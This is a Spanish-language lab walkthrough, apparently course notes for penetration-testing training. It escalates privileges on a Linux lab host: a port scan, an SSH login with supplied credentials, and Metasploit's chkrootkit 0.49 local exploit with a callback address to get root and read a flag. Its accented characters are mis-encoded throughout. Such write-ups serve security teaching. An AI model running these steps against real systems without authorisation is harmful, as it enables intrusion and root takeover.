> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/postexplotacion-en-linux/como-vulnerar-un-programa-escalada.md).
# C贸mo vulnerar un programa (Escalada)
## 馃攳 Factores que Determinan la Escalada
Las t茅cnicas de escalada de privilegios en Linux dependen principalmente de dos factores:
1. **Versi贸n del kernel de Linux**\
Muchas vulnerabilidades conocidas est谩n directamente relacionadas con versiones espec铆ficas del kernel. Exploits como *Dirty Cow*, *OverlayFS* o *Dirty Pipe* son ejemplos cl谩sicos de esto.
2. **Distribuci贸n y versi贸n del sistema operativo**\
Las configuraciones por defecto, scripts, binarios suid y servicios habilitados var铆an entre distribuciones como Ubuntu, Debian, CentOS o Fedora. Esto afecta qu茅 vectores de escalada est谩n disponibles.
***
## 馃И Laboratorio Pr谩ctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la m谩quina Kali.
**Paso 2:** Verifique si la m谩quina de destino es accesible:
**Dominio:**
```
ping -c 4 demo.ine.local
```
El objetivo es alcanzable.
**Paso 3:** Escaneo de puertos con Nmap
Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
nmap -sS -sV demo.ine.local
```
**Paso 4:** Hemos detectado que el servidor SSH se est谩 ejecutando en la m谩quina de destino. Usaremos el m贸dulo de inicio de sesi贸n SSH y accederemos a un shell remoto en Metasploit con las credenciales proporcionadas (es decir, jackie:password).
Inicie msfconsole.
**Dominio:**
```
msfconsole
```
Ahora, ejecute el m贸dulo de inicio de sesi贸n ssh para obtener un shell remoto.
**Dominio:**
```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USERNAME jackie
set PASSWORD password
exploit
```
**Paso 5:** Interactuar con la sesi贸n de shell
**Dominio:**
```
sessions -i 1
```
**Paso 6:** Verifique los servicios en ejecuci贸n.
**Dominio:**
```
ps aux
```
**Paso 7:** Observe que hay un par de procesos ejecut谩ndose, es decir, cron y un script bash.
Investigar el script bash de check-down.
**Dominio:**
```
cat /bin/check-down
```
El analizador de rootkits chkrootkit se ejecuta como root cada 60 segundos. Comprueba la ubicaci贸n y la versi贸n de chkrootkit.
**Dominio:**
```
command -v chkrootkit
/bin/chkrootkit -V
```
**Paso 8:** Encontramos la ubicaci贸n del binario de chkrootkit y su versi贸n. Buscamos el m贸dulo de explotaci贸n de escalada de privilegios para chkrootkit 0.49.
**Dominio:**
```
searchsploit chkrootkit 0.49
```
**Paso 9:** La versi贸n actual de chkrootkit es vulnerable a la escalada de privilegios locales. Usaremos el m贸dulo Metasploit para obtener acceso root y leer el archivo **de indicadores** , ubicado en el directorio **/root** .
**Nota:** No finalice la sesi贸n, escriba CTRL+Z para enviar la sesi贸n interactiva a segundo plano.
**Dominio:**
```
use exploit/unix/local/chkrootkit
set CHKROOTKIT /bin/chkrootkit
set session 1
set LHOST 192.60.22.2
exploit
cat /root/flag
```
**Bandera:** 9db8bf8f483ff50857f26f9bd636bed6
## Referencias
* [Chkrootkit 0.49 - Escalada de privilegios locales](https://www.exploit-db.com/exploits/33899)
* [M贸dulo Metasploit](https://www.rapid7.com/db/modules/exploit/unix/local/chkrootkit)